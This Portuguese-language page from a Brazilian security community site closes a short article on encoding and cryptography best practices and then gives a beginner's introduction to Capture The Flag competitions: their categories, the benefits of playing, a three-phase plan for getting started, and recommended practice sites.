      Para transferir dados encriptados em um protocolo de texto usamos algum tipo de encoding. Encoding é só uma tradução do dado de uma convenção para outra, os mais comuns que consigo lembrar são codificação base64 e hexadecimal. Lembrando que encoding não é considerado criptografia pois não envolve nenhuma chave e nem funções de uma via, como nos hashes.
      Seguem algumas boas práticas para troca e armazenamento de dados:
      Nunca implemente um esquema criptográfico. Sempre use bibliotecas de preferência com código aberto, a não ser que você saiba realmente o que está fazendo.
      Nunca armazene senhas em texto simples. É recomendado armazenar hashes de senhas.
      Sempre verifique a integridade do arquivo que foi transferido, seja pela hash ou verificando alguma assinatura.
      Sempre troque chaves secretas com algum mecanismo seguro de troca de chaves.
      Para se manter atualizado sobre o estado da arte da criptografia é interessante ver blogs de pesquisadores e publicações científicas. Muitos pesquisadores publicam no ePrint da iacr onde também tem várias palestras gratuitas. Outras apresentações muito boas são da conferência Chaos Computer Club, onde grandes pesquisadores montam palestras com conteúdo muito bom e didático. Se você curte uns desafios, também tem o site CryptoHack, que tem vários desafios bem interessantes de RSA, criptografia de curvas elípticas, AES, desafios matemáticos e até alguns de hashing.
    • By Álisson Bertochi
      Olá, pessoal!
      Primeiramente, gostaria de agradecer a parceria do Mente Binária com nosso time, o ELT, visando trazer conteúdo de qualidade pra comunidade, principalmente pra quem está começando no mundo dos CTFs e na área de segurança da informação em geral. Nosso objetivo é ajudar a fortalecer as bases, pois com uma base sólida, o player consegue ir longe tanto nas competições quanto na carreira profissional.
      Neste primeiro artigo, vamos falar um pouco sobre o que são CTFs, por que acreditamos que as pessoas deveriam jogar e qual a melhor maneira de começar.
       
      O que são CTFs?
      CTF significa Capture The Flag, e nessas competições o objetivo do player é resolver desafios de computação, normalmente ligados diretamente à Segurança da Informação, e obter flags, que são códigos que confirmam que a pessoa resolveu um desafio, e permite que ela pontue no Dashboard (placar). A pontuação varia de acordo com a dificuldade de cada desafio.
      Atualmente existem três grandes formatos de CTF: os Jeopardy-style, Attack&Defense e os que são Pentest-based. Nesse artigo focaremos nos Jeopardy, que são a especialidade do nosso time.
      O formato da flag varia de evento pra evento, mas em geral elas possuem um prefixo escolhido pelo organizador. Veja alguns exemplos: 
      Genérico: flag{alguma_string_aqui} Pwn2Win CTF: CTF-BR{alguma_string_aqui} DEF CON CTF: OOO{alguma_string_aqui}  
      CTFs Jeopardy-style
      Nas competições Jeopardy, são apresentadas diversas categorias de desafios aos participantes, que variam de evento pra evento, ficando a cargo da organização decidir quais categorias serão exploradas. Essa escolha é baseada nas habilidades dos membros que criarão os desafios, chamados de challenges. Esses eventos normalmente ocorrem aos finais de semana, e têm duração de 24, 36 ou 48 horas consecutivas, sem intervalo. Os times que participam dessas competições podem ter quantos membros quiserem, a não ser que a competição limite o número de participantes (o que é bem raro).
      O CTFTime.org é o site que contém o ranking internacional dos CTFs Jeopardy e Attack&Defense, o perfil dos times e players, e os eventos que estão por vir (Upcoming). Ele também centraliza os write-ups das equipes, que são os tutoriais feitos após as competições. É uma forma de ver as diversas abordagens que levaram à solução de cada equipe, e aprender bastante com isso.
      Atualmente, as categorias de desafios que são praticamente obrigatórias pra qualquer evento, são:
       
      Pwning / Binary Exploitation
      É entregue um binário (um programa executável) com alguma vulnerabilidade aos times, e eles tem que fazer engenharia reversa, achar a vulnerabilidade, e criar um exploit pra esse programa, que tem uma cópia rodando como serviço (daemon) em um servidor remoto,. O objetivo é explorar este serviço, visando conseguir ler a flag. As mais diversas técnicas e falhas envolvendo corrupção de memória são exploradas, bem como o bypass de todas as mitigações existentes.
       
      Cryptography
      Desafios que exploram ataques criptográficos, como explorar algoritmos deficientes (com bugs) ou implementados incorretamente, além de técnicas diversas contra algoritmos e implementações existentes que não são seguras ou podem de alguma forma ser subvertidos.
       
      Miscellaneous
      Aqui, os criadores podem usar toda sua criatividade e colocar desafios de computação que não se encaixam necessariamente nas outras categorias. Alguns eventos colocam aqui desafios de programação, também chamados de PPC (Professional Programming and Coding), de Análise Forense, Redes, etc, apesar dessas categorias também poderem ser apresentadas separadamente.
       
      Reverse Engineering
      O objetivo é fazer engenharia reversa de um binário, que pode ter sido escrito em qualquer linguagem e compilado pra qualquer arquitetura, entender seu funcionamento e extrair a flag. Às vezes podem envolver análise de malwares.
       
      Web Hacking
      Nessa categoria, os players exploram aplicações web com as mais diversas vulnerabilidades. O código-fonte pode ou não ser disponibilizado.
       
      Também existem outras categorias, que são mais raras, como Hardware Hacking e Eletrônica (sempre presentes no Pwn2Win - evento internacional que nosso time organiza). Há também a possibilidade de um desafio englobar mais de uma categoria, como Reverse Engineering + Cryptography, Web Hacking + Cryptography, etc.
       
      Por que jogar?
      Apesar da participação nesse tipo de competição poder ser realizada de forma individual, é difícil ser competitivo jogando sozinho, já que as competições exigem habilidades multidisciplinares, devido à variedade de categorias. Seguem alguns aspectos que talvez motive você a começar a jogar:
      É uma ótima maneira pra aprender técnicas novas e aplicar em programas de Bug Bounty ou na realização de Pentests. Fortalece muito o trabalho em equipe, característica que é essencial para o mercado de trabalho atual. Faz as pessoas pensarem fora da caixa pra tentar bypassar as restrições impostas pelos criadores dos desafios. Eventualmente, sua equipe pode encontrar 0days, já que o brainstorm pra resolução dos desafios entre os membros é grande. Times competitivos podem conhecer outros países/culturas e ganhar boas premiações em dinheiro. Por exemplo, o ELT já foi pro Japão duas vezes: em 2018 e 2019. CTFs abrem diversas portas para oportunidades de emprego e criam um networking muito bom. Recrutadores bem instruídos sabem o valor de alguém que é um bom CTF Player. A rivalidade saudável entre os times é algo que pode impulsionar seu aprendizado e a sua evolução intelectual e técnica.  
      Como começar?
      Podemos dividir o início em três fases:
       
      Fase 1 - Base teórica e pré-requisitos
      Você precisa dar uma olhada nas categorias, talvez ler alguns write-ups, e decidir com qual categoria tem mais afinidade. Foco é importante pra conseguir evoluir. Não atire em várias categorias ao mesmo tempo!
      Escolhida a categoria, leia bastante e adquira os conhecimentos fundamentais sobre a área, pra não chegar cru nos desafios. Além de leitura, outra opção é ver vídeos de boas fontes no YouTube. O próprio canal Papo Binário (aqui do Mente Binária) tem vários cursos e vídeos avulsos que podem ajudá-lo a adquirir uma boa base, principalmente se você está mirando em Reversing ou Pwning.
      Algo que é válido para praticamente todas as categorias, é aprender alguma linguagem de programação versátil, como o Python. Além disso, conhecimentos básicos em Redes e Sistemas Operacionais farão toda a diferença, independente do caminho que você decida seguir!
      A grande máxima aqui é que jogar CTFs é uma ferramenta para lapidar o conhecimento existente e elevar você a outros níveis. Aprender uma categoria do zero apenas jogando não é um caminho muito interessante, e que com certeza vai deixar várias lacunas no aprendizado.
       
      Fase 2 - Começando a brincar
      A melhor maneira de colocar a mão na massa, quando decidir que está pronto, é através de sites de Wargames, que são "CTFs" que funcionam 24/7. Algumas indicações de sites com desafios bons:
      ringzer0team.com - Desafios de todas as categorias. root-me.org - Desafios de todas as categorias. Possui material de apoio. cryptohack.org - Desafios específicos de criptografia. pwnable.xyz - Desafios específicos de pwning.  
      Fase 3 - Hora da ação
      Após ter adquirido a base e treinado nos sites propostos, convide alguns amigos, veja a lista de CTFs que estão por vir no CTFTime.org, e comece a praticar nas competições que não tem rating alto, que são normalmente mais fáceis. Um ponto negativo é que elas podem ter desafios que envolvem adivinhação (guessing), caso os organizadores sejam inexperientes. Nesse caso, apenas ignore esses.
       
      Links Úteis
      Links úteis que podem ajudá-lo na sua jornada:
      CTFTime Write-ups - Repositório de Write-ups do CTFTime.
      CTF-BR Docs - Compilação de links interessantes, como palestras, artigos e outros recursos.
      ELT Write-ups: CTFTime Profile Page (links para os write-ups na parte inferior) e GitHub.
      Canal LiverOverflow - Vários vídeos muito bem produzidos relacionados à conteúdo técnico de CTF e infosec em geral. Em inglês.

      A Comunidade Brasileira
      No Brasil, desde 2014, o CTF-BR tem tentado unir e fortalecer os times, bem como ajudar na formação de novas equipes e no crescimento dos players. Para ficar mais próximo e interagir com o pessoal, veja as redes sociais do projeto.
       
      É isso pessoal, espero que tenham gostado e se interessado pelo maravilhoso mundo dos CTFs, e qualquer dúvida pode ser tirada pelo Telegram, via IRC (gnx @ freenode), comentando aqui no artigo ou nos grupos do CTF-BR que podem ser vistos no link acima. Vale também assistir o seguinte vídeo, onde complemento este artigo:
      Até a próxima! \o/
×
×
  • Create New...